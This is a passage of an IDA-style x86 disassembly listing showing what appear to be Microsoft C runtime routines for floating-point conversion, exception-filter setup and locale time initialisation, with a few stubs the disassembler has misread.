		mov	ecx, [eax+4]
		sub	ecx, [ebp+var_4]
		mov	[ebp+var_34], ecx
		lea	edx, [ebp+var_30]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax


loc_43004F:				; DATA XREF: seg002:00445398o
					; seg002:004453ACo
		call	sub_42FD90
		add	esp, 8
		mov	ecx, [ebp+var_34]
		push	ecx


loc_43005B:				; DATA XREF: seg002:off_4450E0o
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42FE50
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42FCB0
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+0Ch]
		add	ecx, 1
		push	ecx
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42FE50
		add	esp, 8
		mov	[ebp+var_8], 0
		mov	[ebp+var_1C], 2
		jmp	short loc_43011C
; ---------------------------------------------------------------------------


loc_4300A0:				; CODE XREF: sub_42FF40+F9j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax]
		jl	short loc_4300EB
		lea	edx, [ebp+var_18]
		push	edx
		call	sub_42FDE0
		add	esp, 4
		mov	eax, [ebp+var_18]
		or	eax, 80000000h
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42FE50
		add	esp, 8
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		mov	eax, [ebp+arg_8]
		add	edx, [eax+14h]
		mov	[ebp+var_8], edx
		mov	[ebp+var_1C], 1
		jmp	short loc_43011C
; ---------------------------------------------------------------------------


loc_4300EB:				; CODE XREF: sub_42FF40+168j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		add	edx, [ecx+14h]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_18]
		and	eax, 7FFFFFFFh
		mov	[ebp+var_18], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_42FE50
		add	esp, 8
		mov	[ebp+var_1C], 0


loc_43011C:				; CODE XREF: sub_42FF40:loc_42FFCBj
					; sub_42FF40+EBj ...
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		add	edx, 1
		mov	eax, 20h
		sub	eax, edx
		mov	[ebp+var_C], eax
		mov	edx, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		shl	edx, cl
		mov	eax, [ebp+var_18]
		or	eax, edx
		mov	ecx, [ebp+var_20]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	eax, ecx
		mov	[ebp+var_24], eax
		mov	edx, [ebp+arg_8]
		cmp	dword ptr [edx+10h], 40h
		jnz	short loc_43016A
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_14]
		mov	[edx], eax
		jmp	short loc_43017B
; ---------------------------------------------------------------------------


loc_43016A:				; CODE XREF: sub_42FF40+215j
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+10h], 20h
		jnz	short loc_43017B
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_24]
		mov	[edx], eax


loc_43017B:				; CODE XREF: sub_42FF40+228j
					; sub_42FF40+231j
		mov	eax, [ebp+var_1C]
		mov	esp, ebp
		pop	ebp
		retn
sub_42FF40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430190	proc near		; CODE XREF: sub_430290+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_4507B0
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42FF40
		add	esp, 0Ch
		pop	ebp
		retn
sub_430190	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4301B0	proc near		; CODE XREF: sub_430310+2Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	offset dword_4507C8
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42FF40
		add	esp, 0Ch
		pop	ebp
		retn
sub_4301B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4301D0	proc near		; CODE XREF: seg000:004302FAp
					; seg000:00433E7Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	[ebp+var_14], 0
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, [eax+0Ah]
		and	ecx, 7FFFh
		mov	word ptr [ebp+var_4], cx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx+0Ah]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+6]
		mov	[ebp+var_10], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+2]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		xor	eax, eax
		mov	ax, [edx]
		shl	eax, 10h
		mov	[ebp+var_8], eax
		push	40h
		lea	ecx, [ebp+var_10]
		push	ecx
		call	sub_42FCB0
		add	esp, 8
		test	eax, eax
		jz	short loc_430247
		mov	[ebp+var_10], 80000000h
		mov	dx, word ptr [ebp+var_4]
		add	dx, 1
		mov	word ptr [ebp+var_4], dx


loc_430247:				; CODE XREF: sub_4301D0+62j
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		cmp	eax, 7FFFh
		jnz	short loc_43025D
		mov	[ebp+var_14], 1


loc_43025D:				; CODE XREF: sub_4301D0+84j
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_10]
		mov	[ecx+4], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_18]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_4]
		and	eax, 0FFFFh
		or	edx, eax
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], dx
		mov	eax, [ebp+var_14]
		mov	esp, ebp
		pop	ebp
		retn
sub_4301D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430290	proc near		; CODE XREF: sub_429930+14p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_433320
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_430190
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_430290	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	1
		mov	eax, [ebp+0Ch]
		push	eax
		lea	ecx, [ebp-10h]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_433320
		add	esp, 1Ch
		mov	eax, [ebp+8]
		push	eax
		lea	ecx, [ebp-0Ch]
		push	ecx
		call	sub_4301D0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430310	proc near		; CODE XREF: sub_429930+34p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		push	0
		push	0
		push	0
		mov	eax, [ebp+arg_4]
		push	eax
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		call	sub_433320
		add	esp, 1Ch
		mov	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_4301B0
		add	esp, 8
		mov	esp, ebp
		pop	ebp
		retn
sub_430310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430350	proc near		; CODE XREF: sub_429980+4Dp
					; sub_429B70+45p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+0Ch]
		mov	[ebp+var_8], edx
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	30h
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_430374:				; CODE XREF: sub_430350+69j
		cmp	[ebp+arg_4], 0
		jle	short loc_4303BB
		mov	edx, [ebp+var_8]
		movsx	eax, byte ptr [edx]
		test	eax, eax
		jz	short loc_430398
		mov	ecx, [ebp+var_8]
		movsx	edx, byte ptr [ecx]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax
		jmp	short loc_43039F
; ---------------------------------------------------------------------------


loc_430398:				; CODE XREF: sub_430350+32j
		mov	[ebp+var_C], 30h


loc_43039F:				; CODE XREF: sub_430350+46j
		mov	ecx, [ebp+var_4]
		mov	dl, byte ptr [ebp+var_C]
		mov	[ecx], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_4]
		sub	ecx, 1
		mov	[ebp+arg_4], ecx
		jmp	short loc_430374
; ---------------------------------------------------------------------------


loc_4303BB:				; CODE XREF: sub_430350+28j
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	0
		cmp	[ebp+arg_4], 0
		jl	short loc_430404
		mov	eax, [ebp+var_8]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 35h
		jl	short loc_430404
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_4303DB:				; CODE XREF: sub_430350+A5j
		mov	eax, [ebp+var_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 39h
		jnz	short loc_4303F7
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	30h
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		jmp	short loc_4303DB
; ---------------------------------------------------------------------------


loc_4303F7:				; CODE XREF: sub_430350+94j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		add	dl, 1
		mov	eax, [ebp+var_4]
		mov	[eax], dl


loc_430404:				; CODE XREF: sub_430350+75j
					; sub_430350+80j
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 31h
		jnz	short loc_430420
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		add	ecx, 1
		mov	edx, [ebp+arg_8]
		mov	[edx+4], ecx
		jmp	short loc_430446
; ---------------------------------------------------------------------------


loc_430420:				; CODE XREF: sub_430350+BDj
		mov	eax, [ebp+arg_0]
		add	eax, 1
		push	eax
		call	sub_41AC70
		add	esp, 4
		add	eax, 1
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41F9A0
		add	esp, 0Ch


loc_430446:				; CODE XREF: sub_430350+CEj
		mov	esp, ebp
		pop	ebp
		retn
sub_430350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430450	proc near		; CODE XREF: sub_429980+1Ep
					; sub_429B70+1Ep ...

var_28		= word ptr -28h
var_26		= byte ptr -26h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= word ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		lea	eax, [ebp+arg_0]
		push	eax
		lea	ecx, [ebp+var_C]
		push	ecx
		call	sub_4304D0
		add	esp, 8
		lea	edx, [ebp+var_28]
		push	edx
		push	0
		push	11h
		sub	esp, 0Ch
		mov	eax, esp
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	edx, [ebp+var_8]
		mov	[eax+4], edx
		mov	cx, [ebp+var_4]
		mov	[eax+8], cx
		call	sub_433EA0
		add	esp, 18h
		mov	edx, [ebp+arg_8]
		mov	[edx+8], eax
		movsx	eax, [ebp+var_26]
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		movsx	edx, [ebp+var_28]
		mov	eax, [ebp+arg_8]
		mov	[eax+4], edx
		lea	ecx, [ebp+var_24]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		call	sub_41E550
		add	esp, 8
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_C]
		mov	[eax+0Ch], ecx
		mov	eax, [ebp+arg_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_430450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4304D0	proc near		; CODE XREF: sub_430450+Ep

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	[ebp+var_C], 80000000h
		mov	word ptr [ebp+var_4], 0
		mov	eax, [ebp+arg_4]
		xor	ecx, ecx
		mov	cx, [eax+6]
		and	ecx, 7FF0h
		sar	ecx, 4
		mov	word ptr [ebp+var_14], cx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		and	eax, 8000h
		mov	word ptr [ebp+var_18], ax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		and	edx, 0FFFFFh
		mov	[ebp+var_8], edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax]
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_14]
		and	edx, 0FFFFh
		mov	[ebp+var_1C], edx
		cmp	[ebp+var_1C], 0
		jz	short loc_430547
		cmp	[ebp+var_1C], 7FFh
		jz	short loc_43053F
		jmp	short loc_43058A
; ---------------------------------------------------------------------------


loc_43053F:				; CODE XREF: sub_4304D0+6Bj
		mov	word ptr [ebp+var_4], 7FFFh
		jmp	short loc_4305A5
; ---------------------------------------------------------------------------


loc_430547:				; CODE XREF: sub_4304D0+62j
		cmp	[ebp+var_8], 0
		jnz	short loc_430574
		cmp	[ebp+var_10], 0
		jnz	short loc_430574
		mov	eax, [ebp+arg_0]
		mov	dword ptr [eax+4], 0
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+arg_0]
		mov	word ptr [edx+8], 0
		jmp	loc_43062E
; ---------------------------------------------------------------------------


loc_430574:				; CODE XREF: sub_4304D0+7Bj
					; sub_4304D0+81j
		movsx	eax, word ptr [ebp+var_14]
		add	eax, 3C01h
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_C], 0
		jmp	short loc_4305A5
; ---------------------------------------------------------------------------


loc_43058A:				; CODE XREF: sub_4304D0+6Dj
		mov	cx, word ptr [ebp+var_14]
		sub	cx, 3FFh
		mov	word ptr [ebp+var_14], cx
		movsx	edx, word ptr [ebp+var_14]
		add	edx, 3FFFh
		mov	word ptr [ebp+var_4], dx


loc_4305A5:				; CODE XREF: sub_4304D0+75j
					; sub_4304D0+B8j
		mov	eax, [ebp+var_8]
		shl	eax, 0Bh
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	edx, [ebp+var_10]
		shr	edx, 15h
		or	ecx, edx
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ecx
		mov	ecx, [ebp+var_10]
		shl	ecx, 0Bh
		mov	edx, [ebp+arg_0]
		mov	[edx], ecx


loc_4305C9:				; CODE XREF: sub_4304D0+142j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		and	ecx, 80000000h
		test	ecx, ecx
		jnz	short loc_430614
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 0
		neg	edx
		sbb	edx, edx
		neg	edx
		or	eax, edx
		mov	ecx, [ebp+arg_0]
		mov	[ecx+4], eax
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		shl	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx], eax
		mov	dx, word ptr [ebp+var_4]
		sub	dx, 1
		mov	word ptr [ebp+var_4], dx
		jmp	short loc_4305C9
; ---------------------------------------------------------------------------


loc_430614:				; CODE XREF: sub_4304D0+107j
		mov	eax, [ebp+var_18]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_4]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+8], ax


loc_43062E:				; CODE XREF: sub_4304D0+9Fj
		mov	esp, ebp
		pop	ebp
		retn
sub_4304D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430640	proc near		; CODE XREF: sub_424CB0+6ADp
					; sub_424CB0+6CFp ...
		push	ebp
		mov	ebp, esp
		push	2
		call	sub_420CA0
		add	esp, 4
		pop	ebp
		retn
sub_430640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430650	proc near		; DATA XREF: sub_4306B0+3o
					; seg002:00450410o ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		cmp	dword ptr [ecx], 0E06D7363h
		jnz	short loc_43067E
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_43067E
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		cmp	dword ptr [edx+14h], 19930520h
		jnz	short loc_43067E
		call	sub_42AB50


loc_43067E:				; CODE XREF: sub_430650+Ej
					; sub_430650+19j ...
		cmp	ds:dword_4EEC7C, 0
		jz	short loc_4306A5
		mov	eax, ds:dword_4EEC7C
		push	eax
		call	loc_430750
		add	esp, 4
		test	eax, eax
		jz	short loc_4306A5
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	ds:dword_4EEC7C
		jmp	short loc_4306A7
; ---------------------------------------------------------------------------


loc_4306A5:				; CODE XREF: sub_430650+35j
					; sub_430650+47j
		xor	eax, eax


loc_4306A7:				; CODE XREF: sub_430650+53j
		pop	ebp
		retn	4
sub_430650	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4306B0	proc near		; DATA XREF: seg002:0043C028o
		push	ebp
		mov	ebp, esp
		push	offset sub_430650
		call	ds:dword_4F12C8	; SetUnhandledExceptionFilter
		mov	ds:dword_4EEC7C, eax
		pop	ebp
		retn
sub_4306B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4306D0	proc near		; DATA XREF: seg002:0043C040o
		push	ebp
		mov	ebp, esp
		mov	eax, ds:dword_4EEC7C
		push	eax
		call	ds:dword_4F12C8	; SetUnhandledExceptionFilter
		pop	ebp
		retn
sub_4306D0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_4306F0:				; CODE XREF: sub_429F90+9Ep
					; sub_42A7A0+77p ...
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	dword ptr [ebp-4], 1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	near ptr 3D0000h
		aam	85h
		sal	byte ptr [edi+eax-39h],	45h
		cld
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_430720:				; CODE XREF: sub_42A7A0+89p
					; sub_42A7A0+EDp ...
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	dword ptr [ebp-4], 1
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	near ptr 3D0000h
		fild	dword ptr [ebp-38F88B40h]
		inc	ebp
		cld
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_430750:				; CODE XREF: sub_42A7A0+1E2p
					; sub_430650+3Dp
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	dword ptr [ebp-4], 1
		mov	eax, [ebp+8]
		push	eax
		call	near ptr 3D0000h
		mov	dword ptr [ebp-38F88B40h], 0FC45h
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430780	proc near		; CODE XREF: sub_42ABBEp
		push	ebp
		mov	ebp, esp
		push	0Ah
		call	sub_42CB30
		add	esp, 4
		push	16h
		call	sub_42D300
		add	esp, 4
		push	3
		call	sub_41D9F0
		pop	ebp
		retn
sub_430780	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4307A0	proc near		; DATA XREF: seg002:00450574o

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_4EEA7C, 0
		jz	loc_430841
		push	48h
		push	offset aInittime_c ; "inittime.c"
		push	2
		push	0ACh
		push	1
		call	sub_41B270
		add	esp, 14h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_4307DC
		mov	eax, 1
		jmp	loc_430877
; ---------------------------------------------------------------------------


loc_4307DC:				; CODE XREF: sub_4307A0+30j
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_430880
		add	esp, 4
		test	eax, eax
		jz	short loc_43080D
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_430E10
		add	esp, 4
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	eax, 1
		jmp	short loc_430877
; ---------------------------------------------------------------------------


loc_43080D:				; CODE XREF: sub_4307A0+4Aj
		mov	eax, [ebp+var_4]
		mov	ds:off_450F58, eax
		mov	ecx, ds:dword_4EEC80
		push	ecx
		call	sub_430E10
		add	esp, 4
		push	2
		mov	edx, ds:dword_4EEC80
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	ds:dword_4EEC80, eax
		xor	eax, eax
		jmp	short loc_430877
; ---------------------------------------------------------------------------


loc_430841:				; CODE XREF: sub_4307A0+Bj
		mov	ds:off_450F58, offset off_450F60
		mov	ecx, ds:dword_4EEC80
		push	ecx
		call	sub_430E10
		add	esp, 4
		push	2
		mov	edx, ds:dword_4EEC80
		push	edx
		call	sub_41B8F0
		add	esp, 8
		mov	ds:dword_4EEC80, 0
		xor	eax, eax


loc_430877:				; CODE XREF: sub_4307A0+37j
					; sub_4307A0+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_4307A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430880	proc near		; CODE XREF: sub_4307A0+40p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	[ebp+var_C], 0
		xor	eax, eax
		mov	ax, ds:word_4EECBA
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		mov	cx, ds:word_4EECBC
		mov	[ebp+var_8], ecx
		cmp	[ebp+arg_0], 0
		jnz	short loc_4308B2
		or	eax, 0FFFFFFFFh
		jmp	loc_430E0B
; ---------------------------------------------------------------------------


loc_4308B2:				; CODE XREF: sub_430880+28j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	31h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 8
		push	edx
		push	32h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0Ch
		push	edx
		push	33h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 10h
		push	edx
		push	34h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 14h
		push	edx
		push	35h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 18h
		push	edx
		push	36h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	37h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 20h
		push	edx
		push	2Ah
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 24h
		push	edx
		push	2Bh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 28h
		push	edx
		push	2Ch
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 2Ch
		push	edx
		push	2Dh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 30h
		push	edx
		push	2Eh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 34h
		push	edx
		push	2Fh
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 1Ch
		push	edx
		push	30h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 38h
		push	edx
		push	44h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 3Ch
		push	edx
		push	45h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		push	46h
		mov	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_435830
		add	esp, 10h
		mov	ecx, [ebp+var_C]
		or	ecx, eax
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+arg_0]
		add	edx, 44h
		push	edx
